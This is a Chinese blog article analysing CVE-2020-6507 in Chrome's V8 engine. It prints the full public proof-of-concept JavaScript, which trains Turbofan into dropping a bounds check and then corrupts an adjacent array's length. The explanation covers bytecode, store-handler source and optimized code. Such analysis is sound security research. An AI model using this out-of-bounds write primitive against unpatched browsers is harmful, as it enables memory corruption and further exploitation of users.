前言

《Chrome V8 Bug》系列文章的目的是解释漏洞的产生原因,并向你展示这些漏洞如何影响 V8 的正确性。其他的漏洞文章大多从安全研究的角度分析,讲述如何设计与使用 PoC。而本系列文章是从源码研究的角度来写的,分析 PoC 在 V8 中的执行细节,讲解为什么 PoC 要这样设计。当然,学习 PoC 的设计与使用,是 V8 安全研究的很好的出发点,所以,对于希望深入学习 V8 源码和 PoC 原理的人来说,本系列文章也是很有价值的介绍性读物。

本系列文章主要讲解 https://bugs.chromium.org/p/v8/issues 的内容,每篇文章讲解一个 issue。如果你有想学习的 issue 也可以告诉我,我会优先分析讲解。

 01 介绍

本文讲解 CVE-2020-6507,Chrome issues 地址:https://bugs.chromium.org/p/chromium/issues/detail?id=1086890

实验环境:V8 8.3.110.9,Visual Studio 2019,Win 10。

02 漏洞产生原因

漏洞 PoC 代码如下:

1.  array = Array(0x40000).fill(1.1);2.  args = Array(0x100 - 1).fill(array);3.  args.push(Array(0x40000 - 4).fill(2.2));4.  giant_array = Array.prototype.concat.apply([], args);5.  giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);6.  length_as_double =7.      new Float64Array(new BigUint64Array([0x2424242400000000n]).buffer)[0];8.  function trigger(array) {9.    var x = array.length;10.    x -= 67108861;11.    x = Math.max(x, 0);12.    x *= 6;13.    x -= 5;14.    x = Math.max(x, 0);15.    let corrupting_array = [0.1, 0.1];16.    let corrupted_array = [0.1];17.    corrupting_array[x] = length_as_double;18.    return [corrupting_array, corrupted_array];19.  }20.  for (let i = 0; i < 30000; ++i) {21.    trigger(giant_array);22.  }23.  corrupted_array = trigger(giant_array)[1];24.  console.log('corrupted array length: ' + corrupted_array.length.toString(16));25.  corrupted_array[0x123456];

上述代码中,第 1-5 行创建数组 giant_rray;创建该数组时使用了 Turque 编写的 NewFixedDoubleArray() 方法,该方法没有检测数组的最大长度,这是产生漏洞的原因。

V8 规定 FixedDoubleArray::kMaxLength 的值是 67108862,而 giant_rray 的长度是 67108863。

第 8-14 行 Turbofan 优化 trigger() 时,首先查询 feedback 得知 trigger 的参数 array 是 DoubleArray 类型,所以 FixedDoubleArray::kMaxLength 可以用于限制参数 array 的最大长度;

其次第 10 行 x -= 67108861,所以 Turbofan 认为 x 的最大值只能是 1;

再次第 11 行代码 max(x,0),所以 Turbofan 认为 x 的最小值只能为 0;

然后第 12-14 行不改变 x 是 1 或 0 的事实;

最终,Turbofan 得到结论:x 只能为 0 或 1。基于这个结论,第 17 行的赋值操作不会出现 corrupting_array 越界的情况,故省去赋值前的边界检测。

实际上,x 的最终值是 7,Turbofan 省去赋值前的边界检测,这给越界赋值带来了可乘之机,最终导致 corrupted_array 被污染。

在解释执行模式下,x 的最终值也是 7,但因为有边界检测,才没有发生越界操作。

知识点 (1)Turbofan 优化编译时会考虑每种数据类型的长度限制,例如 String::kMaxLength。Turbofan 遵守 FixedDoubleArray::kMaxLength ,而 NewFixedDoubleArray() 没有遵守,所以才有了 CVE-2020-6507。Turbofan 原理请参见 《chrome v8 源码》系列文章,本文不再赘述。

03 解释模式下的 PoC 行为

下面给出 trigger() 函数的字节码:

1.  [generated bytecode for function: trigger (0x03c50824fdd5 <SharedFunctionInfo trigger>)]2.  Parameter count 23.  Register count 74.  Frame size 565.    401 S> 000003C50825035E @    0 : 28 02 00 00       LdaNamedProperty a0, [0], [0]6.           000003C508250362 @    4 : 26 fb             Star r07.    412 S> 000003C508250364 @    6 : 01 41 fd ff ff 03 02 00 00 00 SubSmi.ExtraWide [67108861], [2]8.           000003C50825036E @   16 : 26 fb             Star r09.    430 S> 000003C508250370 @   18 : 13 01 03          LdaGlobal [1], [3]10.           000003C508250373 @   21 : 26 f7             Star r411.    439 E> 000003C508250375 @   23 : 28 f7 02 05       LdaNamedProperty r4, [2], [5]12.           000003C508250379 @   27 : 26 f8             Star r313.           000003C50825037B @   29 : 0b                LdaZero14.           000003C50825037C @   30 : 26 f5             Star r615.    439 E> 000003C50825037E @   32 : 5a f8 f7 fb f5 07 CallProperty2 r3, r4, r0, r6, [7]16.           000003C508250384 @   38 : 26 fb             Star r017.    453 S> 000003C508250386 @   40 : 42 06 09          MulSmi [6], [9]18.           000003C508250389 @   43 : 26 fb             Star r019.    464 S> 000003C50825038B @   45 : 41 05 0a          SubSmi [5], [10]20.           000003C50825038E @   48 : 26 fb             Star r021.    475 S> 000003C508250390 @   50 : 13 01 03          LdaGlobal [1], [3]22.           000003C508250393 @   53 : 26 f7             Star r423.    484 E> 000003C508250395 @   55 : 28 f7 02 05       LdaNamedProperty r4, [2], [5]24.           000003C508250399 @   59 : 26 f8             Star r325.           000003C50825039B @   61 : 0b                LdaZero26.           000003C50825039C @   62 : 26 f5             Star r627.    484 E> 000003C50825039E @   64 : 5a f8 f7 fb f5 0b CallProperty2 r3, r4, r0, r6, [11]28.           000003C5082503A4 @   70 : 26 fb             Star r029.    523 S> 000003C5082503A6 @   72 : 7a 03 0d 25       CreateArrayLiteral [3], [13], #3730.           000003C5082503AA @   76 : 26 fa             Star r131.    560 S> 000003C5082503AC @   78 : 7a 04 0e 25       CreateArrayLiteral [4], [14], #3732.           000003C5082503B0 @   82 : 26 f9             Star r233.    594 S> 000003C5082503B2 @   84 : 13 05 0f          LdaGlobal [5], [15]34.    592 E> 000003C5082503B5 @   87 : 30 fa fb 11       StaKeyedProperty r1, r0, [17]35.    615 S> 000003C5082503B9 @   91 : 7a 06 13 25       CreateArrayLiteral [6], [19], #3736.           000003C5082503BD @   95 : 26 f7             Star r437.           000003C5082503BF @   97 : 0b                LdaZero38.           000003C5082503C0 @   98 : 26 f8             Star r339.           000003C5082503C2 @  100 : 25 fa             Ldar r140.    623 E> 000003C5082503C4 @  102 : 31 f7 f8 14       StaInArrayLiteral r4, r3, [20]41.           000003C5082503C8 @  106 : 0c 01             LdaSmi [1]42.           000003C5082503CA @  108 : 26 f8             Star r343.           000003C5082503CC @  110 : 25 f9             Ldar r244.    641 E> 000003C5082503CE @  112 : 31 f7 f8 14       StaInArrayLiteral r4, r3, [20]45.           000003C5082503D2 @  116 : 25 f7             Ldar r446.    658 S> 000003C5082503D4 @  118 : aa                Return47.  Constant pool (size = 7)48.  000003C508250319: [FixedArray] in OldSpace49.   - map: 0x03c5080404b1 <Map>50.   - length: 751.             0: 0x03c5080425a5 <String[#6]: length>52.             1: 0x03c5081c6e59 <String[#4]: Math>53.             2: 0x03c5081c6ff5 <String[#3]: max>54.             3: 0x03c5082502cd <ArrayBoilerplateDescription PACKED_DOUBLE_ELEMENTS, 0x03c5082502b5 <FixedDoubleArray[2]>>55.             4: 0x03c5082502e9 <ArrayBoilerplateDescription PACKED_DOUBLE_ELEMENTS, 0x03c5082502d9 <FixedDoubleArray[1]>>56.             5: 0x03c50824fcad <String[#16]: length_as_double>57.             6: 0x03c508250305 <ArrayBoilerplateDescription PACKED_SMI_ELEMENTS, 0x03c5082502f5 <FixedArray[2]>>58.  Handler Table (size = 0)59.  Source Position Table (size = 42)60.  0x03c5082503d9 <ByteArray[42]>

上述代码中,第 1-28 行计算 x 的值并存储到寄存器 r0 中;

第 29-30 行创建数组 corrupting_array 并存储到寄存器 r1 中;

第 31-32 行创建数组 corrupted_array 并存储到寄存器 r2 中;

第 33 行读取 length_as_double 的值并存储到累加寄存器中;

第 34 行 StaKeyedProperty 完成 corrupting_array[7] = length_as_double 的赋值操作。

通过 %DebugPrint() 捕获解释执行和 Turbofan 模式下 corrupting_array 的结果如下:

 - elements: 0x016a08400285 28]> {         0-1: 0.1         2-6:            7: 1.38553e-134  // <-----<-----<------解释执行时,corrupting_array[x]的值正常。        8-27:  }//分隔线.........................................elements: 0x016a08cd4481 2]> {         0-1: 0.1      //<-------<-------<--------Turbofan模式下,corrupting_array只有两个值。 }

由上面结果可以看出第 34 行 StaKeyedProperty 在解释执行和 Turbofan 中存在不同,StaKeyedProperty 的功能由 Builtins::kKeyedStoreIC 实现,KeyedStoreIC 源码如下:

1.  void AccessorAssembler::KeyedStoreIC(const StoreICParameters* p) {2.  Label miss(this, Label::kDeferred);3.  {//省略...............4.    BIND(&try_polymorphic);5.     TNode<HeapObject> strong_feedback = GetHeapObjectIfStrong(feedback, &miss);6.     {/*省略...............*/}7.      BIND(&try_megamorphic);8.      {/*省略...............*/}9.      BIND(&no_feedback);10.      {TailCallBuiltin(Builtins::kKeyedStoreIC_Megamorphic, p->context(),11.                        p->receiver(), p->name(), p->value(), p->slot());}12.      BIND(&try_polymorphic_name);13.      {/*省略...............*/}  }14.    BIND(&miss);15.    {TailCallRuntime(Runtime::kKeyedStoreIC_Miss, p->context(), p->value(),16.                      p->slot(), p->vector(), p->receiver(), p->name());17.    }}

上述代码中,第 10 行 Builtins::kKeyedStoreIC_Megamorphic 和 第 15 行 Runtime::kKeyedStoreIC_Miss 是两种不同的实现方式,但他们的功能相同,都可以用于完成 corrupting_array[7] = length_as_double 操作。

Builtins::kKeyedStoreIC_Megamorphic 的核心功能由 KeyedStoreGenericAssembler::EmitGenericElementStore() 实现,其源码如下:

1.  void KeyedStoreGenericAssembler::EmitGenericElementStore(2.      TNode<JSObject> receiver, TNode<Map> receiver_map,3.      TNode<Uint16T> instance_type, TNode<IntPtrT> index, TNode<Object> value,4.      TNode<Context> context, Label* slow) {5.  //省略.............6.    GotoIf(IsJSArrayInstanceType(instance_type), &if_array);7.    {8.      TNode<IntPtrT> capacity = SmiUntag(LoadFixedArrayBaseLength(elements));9.      Print(LoadFixedArrayBaseLength(elements));10.      Branch(UintPtrLessThan(index, capacity), &if_in_bounds, &if_grow); }11.    BIND(&if_array);12.    {13.      TNode<IntPtrT> length = SmiUntag(LoadFastJSArrayLength(CAST(receiver)));14.      GotoIf(UintPtrLessThan(index, length), &if_in_bounds);15.      TNode<IntPtrT> capacity = SmiUntag(LoadFixedArrayBaseLength(elements));16.      GotoIf(UintPtrGreaterThanOrEqual(index, capacity), &if_grow);17.      Branch(WordEqual(index, length), &if_increment_length_by_one,18.             &if_bump_length_with_gap);  }19.    BIND(&if_in_bounds);20.    {/*省略....*/}21.    BIND(&if_increment_length_by_one);22.    {/*省略....*/}23.    BIND(&if_bump_length_with_gap);24.    {/*省略....*/}25.    BIND(&if_grow);26.    {/*省略....*/}27.    BIND(&if_nonfast);28.    {/*省略....*/}29.    BIND(&if_dictionary);30.    {/*省略....*/}31.    BIND(&if_typed_array);32.    {/*省略....*/}33.  }

上述代码中,receiver 代表 PoC 中的 corrupting_array 数组;index 代表 x,值是 7;value 代表 length_as_double。我们在代码中可以看对数组容量进了检测,如第 8-9 行和 13-14 行。corrupting_array 的容量是 2,给 corrupting_array[7] 赋值之前会对 corrupting_array 进行扩容,这说明了为什么解释执行时 corrupting_array[x] 的值是正常的。

Runtime::kKeyedStoreIC_Miss 方法请自行查阅。

结论: 解释执行期间存在数组容量检测,所以没发生越界操作。

04  Turbofan 优化后的 PoC 行为

Turbofan 优化后时去除了容量检测,没有扩容而直接赋值导致了内存越界。优化后的代码如下:

--- Optimized code ---optimization_id = 0source_position = 374kind = OPTIMIZED_FUNCTIONname = triggerstack_slots = 6compiler = turbofanaddress = 000002D000092BE1
Instructions (size = 848)000002D000092C20     0  488d1df9ffffff REX.W leaq rbx,[rip+0xfffffff9]000002D000092C27     7  483bd9         REX.W cmpq rbx,rcx000002D000092C2A     a  7418           jz 000002D000092C44  <+0x24>000002D000092C2C     c  48ba6800000000000000 REX.W movq rdx,0000000000000068000002D000092C36    16  49ba808870fafe7f0000 REX.W movq r10,00007FFEFA708880  (Abort)    ;; off heap target000002D000092C40    20  41ffd2         call r10000002D000092C43    23  cc             int3l000002D000092C44    24  8b59d0         movl rbx,[rcx-0x30]000002D000092C47    27  4903dd         REX.W addq rbx,r13000002D000092C4A    2a  f6430701       testb [rbx+0x7],0x1000002D000092C4E    2e  740d           jz 000002D000092C5D  <+0x3d>000002D000092C50    30  49baa0ef65fafe7f0000 REX.W movq r10,00007FFEFA65EFA0  (CompileLazyDeoptimizedCode)    ;; off heap target000002D000092C5A    3a  41ffe2         jmp r10//省略....................

上述代码中省去了数组的边界检测,通过 —print-code 和 —print-opt-code 选项可以在 d8 中输出上述代码,请自行分析。

05 X 的计算方法

trigger() 中的 corrupting_array 和 corrupted_array 在内存中是连续的,corrupting_array + 7 正好是 corrupted_array的 element 成员的地址,所以对 corrupting_array[7] 赋值会影响 corrupted_array的 element 成员。x 的计算方法如下:

corrupting_array 和 corrupted_array 都是 JSArray 数据类型,JSArray 继承自 JSObject,JSObject 继承自 JSReceiver,JSReceiver 继承自 HeapObject。通过查阅 JSArray、JSObject、JSReceiver 以及 HeapObject 的类定义,再配合 TORQUE_GENERATED_JS_ARRAY_FIELDS、TorqueGeneratedJSObject、TORQUE_GENERATED_JS_RECEIVER_FIELDS 三个宏模板,可以计算出任何一个想要的地址。

好了,今天到这里,下次见。

个人能力有限,有不足与纰漏,欢迎批评指正